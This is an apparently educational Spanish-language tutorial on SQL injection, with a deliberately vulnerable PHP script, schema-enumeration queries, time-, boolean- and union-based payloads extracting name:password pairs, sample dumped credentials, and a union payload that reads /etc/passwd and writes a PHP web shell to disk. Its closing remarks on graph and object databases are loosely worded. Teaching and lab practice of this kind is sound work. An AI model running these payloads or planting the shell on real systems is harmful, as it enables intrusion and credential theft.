¿ Que es SQL ?
SQL es un lenguaje de programación, sus siglas Structured Query Language. Consiste en un lenguaje de administración y recuperación de datos alojados en Base de datos.
Una SQLI (SQL Injection) es una técnica de ataque utilizada para explotar vulnerabilidades en aplicaciones web que no validan adecuadamente la entrada del usuario en la consulta SQL que se envía a la base de datos. Los atacantes pueden utilizar esta técnica para ejecutar consultas SQL maliciosas y obtener información confidencial como nombres de usuarios, contraseñas y otra información almacenada en la base de datos.
Como se meciono anteriormente una SQLI se produce cuando un atacante inserta código SQL malicioso en los campos de entrada de una aplicación web. Si la aplicación no valida adecuadamente la entrada del usuario, la consulta SQL maliciosa se ejecutará en la base de datos, lo que permitirá al atacante obtener información confidencial o incluso controlar la base de datos.
Para usar a modo de ejemplo, utilizaremos el sig archivo de php para suponer un ejemplo de un caso de como podria estar estructurado el codigo en php para que estas SQLI se ocacionen.
<?php
$host='localhost';
$user='user';
$password='password';
$database='database';
$conn = new mysqli($host, $user, $password, $database);
$id = $_GET['id'];
$data = mysqli_query($conn, "SELECT username FROM users WHERE user_id = '$id' ");
$response = mysqli_fetch_array($data);
echo $response['username'];
?>
En este ejemplo utilizamos un simple archivo de php el cual tiene las credenciales, el host y la base de dato a usar, posteriormente de realizar la conexión lee el input del usuario y ejecuta una query de SQL sin sanitización alguna, para posteriormente imprimir en el navegador el nombre del usuario. Esto es lo que podria ocacionar la SQLI, el hecho de que se lea la query 'id' y se confie en esta...
Es importante entender que el objetivo de toda SQLI, como se menciono anteriormente, es dumpear datos de una base de datos, como sabemos, en SQL las base de datos son tablas, que contienen columnas y registros, por lo que para poder llevar a cabo cualquier SQLI vista a continuación es importante saber las base de datos, las tablas y las columnas de lo que querramos dumpear, por lo que, usando MySQL a continuación se explica como obtener esto:
!ACLARACIÓN! No en todos los gestores de SQL las querys de ejemplo funcionaran, ya que estos tienen algunos leves cambios, pero aquellos cambios más relevantes para los distintos gestores se pueden ver en esta cheat sheat
SELECT schema_name FROM information_schema.schemata;
SELECT table_name FROM information_schema.tables WHERE table_schema='db_name';
SELECT column_name FROM information_schema.columns WHERE table_schema='db_name' AND table_name='table_name';
Ahora si.... Existen varios tipos de SQLI.
Este tipo de SQLI aprovecha errores en el código SQL para obtener información. Por ejemplo, si la consulta devuelve un error con un mensaje específico, se puede utilizar ese mensaje para obtener información adicional del sistema.
Supongamos que el script anterior en lugar de tener la línea del echo $response['username']; la cual simplemente imprime en el navegador el nombre del usuario, es una línea que tiene una condición de que en caso de que la query no haya devuelto nada arroja 404 y de lo contrario realiza otra x acción
# SCRIP ANTERIOR
if(!isset($response['useranme'])){
http_response_code(404);
}
De esta manera, si en la query ingresamos un "1", devuelve 200 ya que el usuario existe pero no realiza nada más que eso la web, bueno... abusando de este status code 404 en caso de que sea false y 200 en caso de que sea true se pueden realizar SQLI basadas en tiempo, basadas en booleanos, basadas en uniones y basadas en stacked queries.
Y como complejisación adicional, la línea de $id = $_GET['id'] , ahora continene una sanitización la cual al ingresar caracteres especiales estos se escapan, siendo imposible asi ingresar comillas y demás.
# SCRIP ANTERIOR
# VIEJA LINEA:
$id = $_GET['id'];
# NUEVA LINEA:
$id = mysqli_real_escape_string($conn, $_GET['id']);
Por ultimo, tomemos el ejemplo en donde el usuario a su vez, en la línea de la query SELECT username FROM users WHERE user_id='$id' ahora no el user_id=$id NO tiene comillas, de esta manera por un nuevo error, el sistema sigue siendo vulnerable a SQLI pero de una manera un poco más compleja.
Ejemplo con caso anterior:
SELECT username FROM users WHERE user_id='%d'
-- Supongamos que realizamos la prubea de ingresar el usuario 1 y devuelve 200 OK
SELECT username FROM users WHERE user_id=1
-- Ahora ingresamos el usuario 1241 y devuelve 404
SELECT username FROM users WHERE user_id=1241
-- Ahora jugamos con el tiempo para corroborar si la petición devuelve 200 OK a los 5s de ejecutarla (Indicando asi, que es TRUE)
SELECT username FROM users WHERE user_id=1241 OR if(ascii(substr((select group_concat(name,0x3a,password) from users),1,1))=97,sleep(5),1)
Con esta QUERY maliciosa OR if(ascii(substr((select group_concat(name,0x3a,password) from users),1,1))=97,sleep(5),1) estamos abusando de que el usuario 1241 no existe para verificar si esta sentencia se cumple, pidiendo que si el codigo ascii del primer caracter del conjunto de valores de "name" + 0x3a (":") + "password" es igual a 97 (Letra 'a' en codigo ascii), hagamos que la página tarde en responder 5s (sleep(5)), de lo contrario devolvemos solo un 200 OK.
SELECT username FROM users WHERE user_id='%d'
-- Supongamos que realizamos la prubea de ingresar el usuario 1 y devuelve 200 OK
SELECT username FROM users WHERE user_id=1
-- Ahora ingresamos el usuario 1241 y devuelve 404
SELECT username FROM users WHERE user_id=1241
-- Ahora jugamos con el booleano, ya que sabemos que la primea petición no se cumple si se cumple la 2da podriamos ir deduciendo los datos
SELECT username FROM users WHERE user_id=1241 OR (select ascii(substr(group_concat(name,0x3a,password),1,1))=97)
Con esta QUERY maliciosa (select ascii(substr(group_concat(name,0x3a,password),1,1))=97) muy similar a la condición de tiempo, estamos abusando de que el usuario 1241 no existe para corroborar si la segunda query es TRUE y asi saber los valores, en este caso seleccionamos el conjunto de datos del nombre y la contraseña para fijarnos si el primer caracter en codigo ascii es un valor '97' en codigo ascii, equivalente a una 'a', de esta manera si el primer usuario fuera admin, la primera letra del mismo seria una a, en codigo ascii 97 y la query quedaria 97=97, por lo que seria true y devolveria un 200 OK.
Es importante tener en cuenta que para esta SQLI funcione, hace falta saber las columnas que esta siendo seleccionadas para asi poder unir datos, esto se da por entendido en ya que se toca en SQL.
SELECT username FROM users WHERE user_id='%d'
-- Supongamos que realizamos la prubea de ingresar el usuario 1 y devuelve 200 OK ASI COMO TAMBIEN ALGUN DATO EN PANTALLA DEL USUARIO
SELECT username, password FROM users WHERE user_id=1
-- Ahora jugamos con order by para averiguar cuantas columnas se estan trayendo
SELECT username FROM users WHERE user_id=1241 order by 2
-- Una vez tengamos el número exacto de columnas podriamos insertar valores que nos interezaran para ver si alguno de los campos es vulnerable y se muestra en pantalla
-- Por ejemplo, desde mysql interactivo si traemos los datos con la primera query veriamos:
--+---------+-------------------------------+
--| name | password |
--+---------+-------------------------------+
--| Dobliuw | U2!+BF!.hZy1ST4r1&6*&3Uu1&3mI |
--+---------+-------------------------------+
-- Luego ejecutariamos la query maliciosa:
SELECT usrename, password FROM users WHERE user_id=1 union select group_concat(email,0x3a,password),null from users;
-- Puediendo ver algo similar a esto:
-------------------------------------------------------------------------------+-------------------------------+
--| name --| password |
--+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------+
--| Dobliuw --| U2!+BF!.hZy1ST4r1&6*&3Uu1&3mI |
--| dobliuw@dobliuw.com:U2!+BF!.hZy1ST4r1&6*&3Uu1&3mI,zaikoarg@zaikoarg.com:Z41k0+!1&dDxD_,valenmachu@gmail.com:1254821158644468,brian@gmail.com:Tomi2008,jose32@gmail.com:jose32,robertoperez@gmail.com:roberto1980,david@gmail.com:mihijoelmejor,testing@gmail.com:test!123 | NULL |
--+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-------------------------------+
Como podemos ver, en este ejemplo desde la consola, estariamos uniendo junto a una respuesta true, los datos que a nosotros nos interesarian dumpear de una base de datos en especifico, para esto es importante primero haber obtenido todas las columnas para una determinada tabla de una determinada base de dato como se explico anteriormente.
SELECT x FROM x WHERE x='%s' UNION SELECT database()
SELECT x FROM x WHERE x='%s' UNION SELECT @@version
SELECT x FROM x WHERE x='%s' UNION SELECT load_file('etc/passwd')
SELECT x FROM x WHERE x='%s' UNION SELECT '<?php echo "<pre>" . shell_exec($_GET[\'cmd\']) . "</pre>"; ?>' INTO outfile '/tmp/file.php'
Es importante hacer una breve distinción entre los diferentes tipo de base de datos.
Las inyescciones SQL son más comunes en bases de datos relacionales como MySQL, SQL Server, Oracle, PostgreSQL, entre otros. En estas base de datos, se utilizan consultas SQL para acceder a los datos y realizar operaciones en la base de datos.
Aunque las inyecciones SQL son menos comunes en base de datos NoSQL, todavía es posible realizar este tipo de ataque. Las bases de datos NoSQL, como MongoDB o Cassandra, no utilizan el lenguaje SQL, sino un modelo de datos diferete. Sin embargo, es posible realizar inyescciones de comandos en las consultas que se realizan en estas bases de datos.
Las bases de datos de grados, como Neo4j, también pueden ser vulnerables a inyecciones SQL. En estas bases de datos, se utilizan para acceder a los nodos y relaciones que se han almacenado en la base de datos.
Las bases de datos de objetos, como db4o, también pueden ser vulnerables a inyecciones SQL. En estas bases de datos, se utilizan consultas para accesder a los objetos que se han almacenado en la base de datos.
Todos los ataques se pueden probar en páginas como Portswigger (Un laboratorio de Vulnerabilidades Webs la cual incluye SQLI), en local jugando con propios scrips y bases de datos, con contenedores de Docker que podemos encontrar con vulnerabilidades de SQLI y en páginas que funcionan como un gesto de MySQL Online como ExtendsClass